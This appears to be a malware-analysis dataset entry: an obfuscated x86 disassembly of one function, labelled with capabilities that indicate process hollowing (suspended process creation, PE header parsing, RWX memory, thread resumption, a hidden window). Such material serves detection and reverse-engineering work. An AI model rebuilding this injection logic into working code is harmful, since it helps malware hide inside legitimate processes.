Function at 0x10006cf0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x1006b800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0xc8d9b01c
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x80414955
je 0x1000c311
jmp 0x10006d2c
mov eax, dword [ebp - 0x180]
sub eax, 0x80f7e5f9
je 0x1000a90d
jmp 0x10006d42
mov eax, dword [ebp - 0x180]
sub eax, 0x8100fd2d
je 0x10009acd
jmp 0x10006d58
mov eax, dword [ebp - 0x180]
sub eax, 0x81509dff
je 0x10009a4f
jmp 0x10006d6e
mov eax, dword [ebp - 0x180]
sub eax, 0x817c0ed6
je 0x1000bb3b
jmp 0x10006d84
mov eax, dword [ebp - 0x180]
sub eax, 0x820417a4
je 0x1000d43e
jmp 0x10006d9a
mov eax, dword [ebp - 0x180]
sub eax, 0x82669590
je 0x1000ac4e
jmp 0x10006db0
mov eax, dword [ebp - 0x180]
sub eax, 0x82e65f36
je 0x1000c493
jmp 0x10006dc6
mov eax, dword [ebp - 0x180]
sub eax, 0x82e94d32
je 0x1000a3a5
jmp 0x10006ddc
mov eax, dword [ebp - 0x180]
sub eax, 0x83d6d5b8
je 0x1000a4e6
jmp 0x10006df2
mov eax, dword [ebp - 0x180]
sub eax, 0x83efe71a
je 0x100092d9
jmp 0x10006e08
mov eax, dword [ebp - 0x180]
sub eax, 0x84b5b5ea
je 0x1000c896
jmp 0x10006e1e
mov eax, dword [ebp - 0x180]
sub eax, 0x8594bdfa
je 0x1000e1f7
jmp 0x10006e34
mov eax, dword [ebp - 0x180]
sub eax, 0x8643df53
je 0x10009788
jmp 0x10006e4a
mov eax, dword [ebp - 0x180]
sub eax, 0x86d99057
je 0x1000e0a3
jmp 0x10006e60
mov eax, dword [ebp - 0x180]
sub eax, 0x889403dc
je 0x10009585
jmp 0x10006e76
mov eax, dword [ebp - 0x180]
sub eax, 0x88e4d2d2
je 0x1000c828
jmp 0x10006e8c
mov eax, dword [ebp - 0x180]
sub eax, 0x89344743
je 0x1000e4bc
jmp 0x10006ea2
mov eax, dword [ebp - 0x180]
sub eax, 0x8a90deeb
je 0x1000b062
jmp 0x10006eb8
mov eax, dword [ebp - 0x180]
sub eax, 0x8a94c362
je 0x1000badb
jmp 0x10006ece
mov eax, dword [ebp - 0x180]
sub eax, 0x8b5ed03f
je 0x1000d224
jmp 0x10006ee4
mov eax, dword [ebp - 0x180]
sub eax, 0x8ca49c5a
je 0x1000ad23
jmp 0x10006efa
mov eax, dword [ebp - 0x180]
sub eax, 0x8cbbf66b
je 0x1000cc39
jmp 0x10006f10
mov eax, dword [ebp - 0x180]
sub eax, 0x8d99db60
je 0x1000df46
jmp 0x10006f26
mov eax, dword [ebp - 0x180]
sub eax, 0x8dadc345
je 0x1000b957
jmp 0x10006f3c
mov eax, dword [ebp - 0x180]
sub eax, 0x8dc08ca7
je 0x1000b7ab
jmp 0x10006f52
mov eax, dword [ebp - 0x180]
sub eax, 0x8e126ed2
je 0x1000c22b
jmp 0x10006f68
mov eax, dword [ebp - 0x180]
sub eax, 0x9079aea5
je 0x1000a3d1
jmp 0x10006f7e
mov eax, dword [ebp - 0x180]
sub eax, 0x91168f5f
je 0x1000b4c8
jmp 0x10006f94
mov eax, dword [ebp - 0x180]
sub eax, 0x91d3b2f5
je 0x10009566
jmp 0x10006faa
mov eax, dword [ebp - 0x180]
sub eax, 0x9246dac2
je 0x1000e679
jmp 0x10006fc0
mov eax, dword [ebp - 0x180]
sub eax, 0x94300757
je 0x1000b67b
jmp 0x10006fd6
mov eax, dword [ebp - 0x180]
sub eax, 0x94895eba
je 0x1000e450
jmp 0x10006fec
mov eax, dword [ebp - 0x180]
sub eax, 0x94b96fff
je 0x1000e758
jmp 0x10007002
mov eax, dword [ebp - 0x180]
sub eax, 0x956ef845
je 0x10009d0d
jmp 0x10007018
mov eax, dword [ebp - 0x180]
sub eax, 0x9586e30b
je 0x1000d8aa
jmp 0x1000702e
mov eax, dword [ebp - 0x180]
sub eax, 0x95a05f2a
je 0x1000cd54
jmp 0x10007044
mov eax, dword [ebp - 0x180]
sub eax, 0x9787ae15
je 0x1000e32b
jmp 0x1000705a
mov eax, dword [ebp - 0x180]
sub eax, 0x984c13d7
je 0x1000d7b8
jmp 0x10007070
mov eax, dword [ebp - 0x180]
sub eax, 0x98d1cb1a
je 0x1000936e
jmp 0x10007086
mov eax, dword [ebp - 0x180]
sub eax, 0x9924592d
je 0x1000ae1e
jmp 0x1000709c
mov eax, dword [ebp - 0x180]
sub eax, 0x9a05d607
je 0x1000bbd4
jmp 0x100070b2
mov eax, dword [ebp - 0x180]
sub eax, 0x9b945141
je 0x100095f0
jmp 0x100070c8
mov eax, dword [ebp - 0x180]
sub eax, 0x9ba4529d
je 0x1000e46f
jmp 0x100070de
mov eax, dword [ebp - 0x180]
sub eax, 0x9d01bf6f
je 0x1000e749
jmp 0x100070f4
mov eax, dword [ebp - 0x180]
sub eax, 0x9d0c63b8
je 0x1000d555
jmp 0x1000710a
mov eax, dword [ebp - 0x180]
sub eax, 0x9d571687
je 0x100095a4
jmp 0x10007120
mov eax, dword [ebp - 0x180]
sub eax, 0x9f5f208f
je 0x1000c35a
jmp 0x10007136
mov eax, dword [ebp - 0x180]
sub eax, 0xa09fb61a
je 0x1000de70
jmp 0x1000714c
mov eax, dword [ebp - 0x180]
sub eax, 0xa0b27595
je 0x1000ab0c
jmp 0x10007162
mov eax, dword [ebp - 0x180]
sub eax, 0xa0f73b03
je 0x1000a19f
jmp 0x10007178
mov eax, dword [ebp - 0x180]
sub eax, 0xa15bf4c1
je 0x1000d653
jmp 0x1000718e
mov eax, dword [ebp - 0x180]
sub eax, 0xa1899c3b
je 0x1000a756
jmp 0x100071a4
mov eax, dword [ebp - 0x180]
sub eax, 0xa1b0782c
je 0x100090ae
jmp 0x100071ba
mov eax, dword [ebp - 0x180]
sub eax, 0xa1c804a7
je 0x1000c7f1
jmp 0x100071d0
mov eax, dword [ebp - 0x180]
sub eax, 0xa1e4d192
je 0x1000a983
jmp 0x100071e6
mov eax, dword [ebp - 0x180]
sub eax, 0xa2adbb2e
je 0x1000de43
jmp 0x100071fc
mov eax, dword [ebp - 0x180]
sub eax, 0xa316a06d
je 0x1000dcb2
jmp 0x10007212
mov eax, dword [ebp - 0x180]
sub eax, 0xa326b543
je 0x1000dc5a
jmp 0x10007228
mov eax, dword [ebp - 0x180]
sub eax, 0xa3be74c6
je 0x1000ae01
jmp 0x1000723e
mov eax, dword [ebp - 0x180]
sub eax, 0xa3e82d62
je 0x1000b37f
jmp 0x10007254
mov eax, dword [ebp - 0x180]
sub eax, 0xa44eccfb
je 0x1000a1eb
jmp 0x1000726a
mov eax, dword [ebp - 0x180]
sub eax, 0xa5086e7a
je 0x10009afb
jmp 0x10007280
mov eax, dword [ebp - 0x180]
sub eax, 0xa86258ee
je 0x1000910a
jmp 0x10007296
mov eax, dword [ebp - 0x180]
sub eax, 0xaa665e9c
je 0x10009c97
movss xmm0, dword [0x1001b3a8]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x1001b3a4]
movss dword [ebp - 0x100], xmm0
mov dl, 1
mov eax, 0xba5b0376
mov ecx, 0x70bec34d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b39c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x17c], 0xc9e012e8
jmp 0x1000e762
movss xmm0, dword [0x1001b210]
movss dword [ebp - 0x100], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
add edx, 0xb65c9bdf
sub edx, 1
sub edx, 0xb65c9bdf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6282fd20
mov ecx, 0x2a4c2a70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
sub edx, 0x84b9feda
sub edx, 1
add edx, 0x84b9feda
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3075de38
mov ecx, 0x25f641fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b388]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x17c], 0x889403dc
jmp 0x1000e762
movss xmm0, dword [0x1001b384]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x17c], 0x9d571687
jmp 0x1000e762
mov dl, 1
mov eax, 0xe3ce2edc
mov ecx, 0x7e1655ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2ff4c852
mov ecx, 0xe497533a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b204]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86d99057
mov ecx, 0x67fe863f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b1fc]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x51e3843d
mov ecx, 0x8100fd2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x4af91c21
jmp 0x1000e762
movss xmm0, dword [0x1001b364]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x17c], 0x72a3529c
jmp 0x1000e762
movss xmm0, dword [0x1001b1f4]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe9c46dab
mov ecx, 0x3249271a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dl, 1
mov eax, 0x321713a5
mov ecx, 0x1cb410ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2d342518
mov ecx, 0xc315d0c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x303c2dba
jmp 0x1000e762
movss xmm0, dword [0x1001b318]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x1001b314]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x17c], 0x8c92271
jmp 0x1000e762
mov dword [ebp - 0x17c], 0xff147eab
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x3f6e2f77
sub edx, 1
add edx, 0x3f6e2f77
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a6ce2b0
mov ecx, 0xdfa50678
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
mov edx, ecx
sub edx, 0xbbf23514
sub edx, 1
add edx, 0xbbf23514
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7fe93a06
mov ecx, 0xa1e4d192
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
add edx, 0xee58360c
sub edx, 1
sub edx, 0xee58360c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7fe93a06
mov ecx, 0xc53e9a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x405ef14e
jmp 0x1000e762
mov dl, 1
mov eax, 0xb7016156
mov ecx, 0xdcb364f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b2c0]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x17c], 0xac9fb661
jmp 0x1000e762
mov dl, 1
mov eax, 0x7ec68812
mov ecx, 0x9924592d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x5b71f632
sub edx, 1
add edx, 0x5b71f632
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4863d5c4
mov ecx, 0x47a28a97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b2b4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x17c], 0x74498a31
jmp 0x1000e762
movss xmm0, dword [0x1001b2a4]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x1001b2a0]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x17c], 0xe1e0db5a
jmp 0x1000e762
mov dl, 1
mov eax, 0x44fb552c
mov ecx, 0x39c44f6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dl, 1
mov eax, 0xc1af07ee
mov ecx, 0xe44718aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dword [ebp - 0x17c], 0xc1af07ee
jmp 0x1000e762
movss xmm0, dword [0x1001b268]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x17c], 0x36df926e
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
add edx, 0x3487799f
sub edx, 1
sub edx, 0x3487799f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce082dfd
mov ecx, 0xc6f48935
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b258]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x17c], 0x25bd6897
jmp 0x1000e762
mov dl, 1
mov eax, 0x18b15dd
mov ecx, 0x57edb452
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b19c]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
add edx, 0x17b34f0b
sub edx, 1
sub edx, 0x17b34f0b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94895eba
mov ecx, 0x38e3cb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ba4529d
mov ecx, 0x9f5f208f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov dl, 1
mov eax, 0x114d9b8f
mov ecx, 0x46a7b670
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b224]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x17c], 0xac9c06dd
jmp 0x1000e762
mov dword [ebp - 0x17c], 0xf0463097
jmp 0x1000e762
mov ecx, dword [0x1006cb28]
mov eax, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b332562
mov ecx, 0x84b5b5ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x1f1eb355
sub edx, 1
add edx, 0x1f1eb355
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b332562
mov ecx, 0x6b2b2a6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x9c70c7e1
sub edx, 1
add edx, 0x9c70c7e1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc32f6020
mov ecx, 0x70d61f1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100061b0
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x17c], 0xc269958e
jmp 0x1000e762
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x174], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9246dac2
mov ecx, 0x5df70bff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x17c], 0x9735a33
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5b2903d
mov ecx, 0x44651717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov ecx, dword [ebp - 0x16c]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x17c], 0xda2945c2
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x73981df6
jmp 0x1000e762
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x947eb3c1
or eax, edx
or ecx, 0x947eb3c1
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x79], al
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x56b95c95
mov ecx, 0xe3888110
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov ecx, dword [ebp - 0x74]
sub ecx, 0x2c4bf404
add ecx, 1
add ecx, 0x2c4bf404
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x17c], 0x73981df6
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65f74ad4
mov ecx, 0xd7a780ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x17c], 0xa09fb61a
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x9d6ae188
sub edx, 1
add edx, 0x9d6ae188
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d01bf6f
mov ecx, 0x64e4b353
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
mov eax, dword [0x1006cb28]
mov ecx, dword [0x1006cb24]
mov edx, eax
sub edx, 0x575ba7ac
sub edx, 1
add edx, 0x575ba7ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94b96fff
mov ecx, 0x8928649
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000e762
movss xmm0, dword [0x1001b204]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x17c], 0x8643df53
jmp 0x1000e762
movss xmm0, dword [0x1001b1dc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x17c], 0xc7653d1f
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x3ab15af3
jmp 0x1000e762
movss xmm0, dword [0x1001b19c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x17c], 0x8e126ed2
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x80414955
jmp 0x1000e762
movss xmm0, dword [0x1001b190]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x17c], 0xbbc9a4d9
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x8b5ed03f
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x64e4b353
jmp 0x1000e762
mov dword [ebp - 0x17c], 0x8928649
jmp 0x10006d10